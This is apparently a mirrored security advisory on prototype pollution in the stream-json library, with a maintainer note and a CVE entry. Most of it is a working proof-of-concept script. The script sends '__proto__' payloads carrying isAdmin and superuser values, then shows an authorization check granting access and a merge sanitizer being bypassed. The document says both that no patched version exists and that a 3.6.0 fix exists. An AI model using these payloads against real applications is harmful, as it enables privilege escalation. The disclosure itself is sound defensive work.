GHSA-mjw6-4jj6-33hc

ghsaUSosv

stream-json has a prototype pollution issue: Assembler writes this.current[this.key] on plain objects

Advisory ansehen veröffentlicht 2026-10-05Lizenz: CC-BY-4.0

### Summary A prototype-pollution vulnerability in stream-json lets attacker-controlled JSON replace a parsed object's prototype. ### Details The streaming JSON parser (StreamValues/StreamObject/jsonc variants) writes keys via plain assignment, so a __proto__ key replaces the parsed object's prototype with attacker-controlled content (verified 3.5.0 npm latest; native JSON.parse twin control stays clean). Parsing untrusted JSON is the contract. Assembler in Assembler.js. ### PoC Run: ```bash node poc-stream-json-proto-injection.mjs ``` Full proof-of-concept source (poc-stream-json-proto-injection.mjs): ```js // stream-json v3.5.0 (npm latest) — local [[Prototype]] replacement via `__proto__` keys // Class: prototype injection in a JSON deserializer (jsonparse/bser/jsonc-parser/plist family) // Root cause: Assembler builds every object as a plain `Object` and writes // `this.current[this.key] = value` (src/core/assembler.js:160,180 — plain assignment, // ToPropertyKey → inherited Object.prototype __proto__ setter fires) // Spec baseline: JSON.parse (CreateDataProperty) → own data property, no prototype change // Run: node poc-stream-json-proto-injection.mjs (from C:/Users/rncb0/AppData/Local/Temp/0day/sj-lab) import { parser } from 'stream-json'; import jsoncParser from 'stream-json/jsonc/Parser.js'; import { streamValues } from 'stream-json/streamers/stream-values.js'; import { streamObject } from 'stream-json/streamers/stream-object.js'; import { Readable } from 'node:stream'; const sv = (input, P = parser) => new Promise((res, rej) => { const vals = []; Readable.from([input]).pipe(P.asStream()).pipe(streamValues.asStream()) .on('data', d => vals.push(d.value)).on('end', () => res(vals)).on('error', rej); }); const so = (input) => new Promise((res, rej) => { const out = {}; Readable.from([input]).pipe(parser.asStream()).pipe(streamObject.asStream()) .on('data', d => { out[d.key] = d.value; }).on('end', () => res(out)).on('error', rej); }); let pass = 0, fail = 0; const check = (name, cond) => { if (cond) { pass++; console.log(` PASS ${name}`); } else { fail++; console.log(` FAIL ${name}`); } }; const INPUT = '{"__proto__":{"isAdmin":true,"role":"superuser"},"name":"bob","age":30}'; const baseline = JSON.parse(INPUT); const sv1 = (await sv(INPUT))[0]; const so1 = await so(INPUT); const jc1 = (await sv(INPUT, jsoncParser))[0]; const nested = (await sv('{"user":{"__proto__":{"isAdmin":true},"name":"alice"}}'))[0].user; const arrProto = (await sv('{"__proto__":["isAdmin","role"],"name":"bob"}'))[0]; const prim = (await sv('{"__proto__":"x","name":"bob"}'))[0]; const ctor = (await sv('{"constructor":{"prototype":{"polluted":1}},"name":"bob"}'))[0]; console.log('== A. CORE VECTOR: __proto__ key → parsed object [[Prototype]] replaced (read-through injection) =='); check('StreamValues: Object.keys hides __proto__/isAdmin (["name","age"])', JSON.stringify(Object.keys(sv1)) === '["name","age"]'); check('StreamValues: JSON.stringify hides injected props ({"name":"bob","age":30})', JSON.stringify(sv1) === '{"name":"bob","age":30}'); check('StreamValues: hasOwnProperty(isAdmin) === false (own-key allowlists pass)', !Object.prototype.hasOwnProperty.call(sv1, 'isAdmin')); check('StreamValues: obj.isAdmin === true (INHERITED read-through)', sv1.isAdmin === true); check('StreamValues: obj.role === "superuser"', sv1.role === 'superuser'); check('StreamValues: [[Prototype]] is NON-plain', Object.getPrototypeOf(sv1) !== Object.prototype); check('StreamObject: same read-through (obj.isAdmin === true)', so1.isAdmin === true && Object.keys(so1).length === 2); check('jsonc parser (comments variant): same read-through', jc1.isAdmin === true && JSON.stringify(Object.keys(jc1)) === '["name","age"]'); check('NESTED: user.isAdmin === true, own keys ["name"]', nested.isAdmin === true && JSON.stringify(Object.keys(nested)) === '["name"]'); console.log('== B. SPEC BASELINE (control): JSON.parse makes __proto__ an OWN data key =='); check('JSON.parse: own __proto__ key visible', Object.keys(baseline).includes('__proto__')); check('JSON.parse: isAdmin undefined (no read-through)', baseline.isAdmin === undefined); check('JSON.parse: [[Prototype]] stays plain', Object.getPrototypeOf(baseline) === Object.prototype); console.log('== C. VARIANT: array-valued __proto__ → parsed object becomes array-like =='); check('proto is attacker Array (av[0]=="isAdmin", av[1]=="role")', arrProto[0] === 'isAdmin' && arrProto[1] === 'role'); check('legit data lands at attacker-indexed position (av[2]=="bob", length 3)', arrProto[2] === 'bob' && arrProto.length === 3); console.log('== D. FAIL-CLOSED CONTROLS =='); check('primitive __proto__ value: no-op, plain proto (spec semantics)', Object.getPrototypeOf(prim) === Object.prototype && Object.keys(prim).length === 1); check('constructor key: harmless own prop', Object.prototype.hasOwnProperty.call(ctor, 'constructor') && ({}).polluted === undefined); check('NO GLOBAL Object.prototype pollution', ({}).polluted === undefined && ({}).isAdmin === undefined); console.log('== E. IMPACT: auth/flag decisions read attacker values; hardened-merge bypass =='); const authorize = o => o.isAdmin === true && o.role === 'superuser'; check('authorize(stream-json obj) === true (GRANT)', authorize(sv1) === true); check('authorize(JSON.parse twin) === false (DENY — control)', authorize(baseline) === false); const target = { theme: 'light' }; for (const k in sv1) target[k] = sv1[k]; // typical naive/hardened merge (for-in) check('merge copies INHERITED isAdmin as OWN prop onto target (skip-__proto__ sanitizer defeated)', Object.prototype.hasOwnProperty.call(target, 'isAdmin') && target.isAdmin === true); const t2 = { theme: 'light' }; for (const k in baseline) t2[k] = baseline[k]; // JSON.parse twin stays clean check('merge of JSON.parse twin has NO isAdmin (control)', !Object.prototype.hasOwnProperty.call(t2, 'isAdmin')); console.log(`\nRESULT: ${pass} PASS / ${fail} FAIL`); process.exit(fail ? 1 : 0); ``` Observed output (verbatim, Node 24.15.0, Windows): ``` RESULT: 21 PASS / 0 FAIL ``` ### Impact Prototype pollution (CWE-1321). Applications parsing attacker-influenced streaming JSON can have authorization checks read attacker-controlled values. Affects stream-json <= 3.5.0; no patched version exists. --- # Maintainer note on scope The attack vector is local — stream-json's documented input is data the user owns (database dumps, exports, logs); it is not designed for JSON from the open internet, and the docs now say so. The parsed object's prototype was replaced (never the global `Object.prototype`); `"__proto__": null` additionally strips `Object.prototype` from the parsed object, so ordinary consumer code calling `hasOwnProperty()` throws. `Assembler` and `FlexAssembler` now create an own data property for a `__proto__` key, exactly as `JSON.parse` does. ---

01

beschreibt (1)

Zugehörige CVEs.

IDSchweregrad ausnutzbar
CVE-2026-104183US——
stream-json is a micro-library of stream components for processing JSON and JSONC with a minimal memory footprint. Prior to 3.6.0, Assembler materializes object properties with pla…
02

Referenzen

Externe Belege — Patches, Meldungen, Analysen.

scry

Advisories wie diese benennen die exponierten Produkte, die Angreifer auf Ihrer Angriffsfläche ins Visier nehmen. Sehen Sie mit einem kostenlosen Passiv-Scan, was exponiert ist.

Kostenloser Scan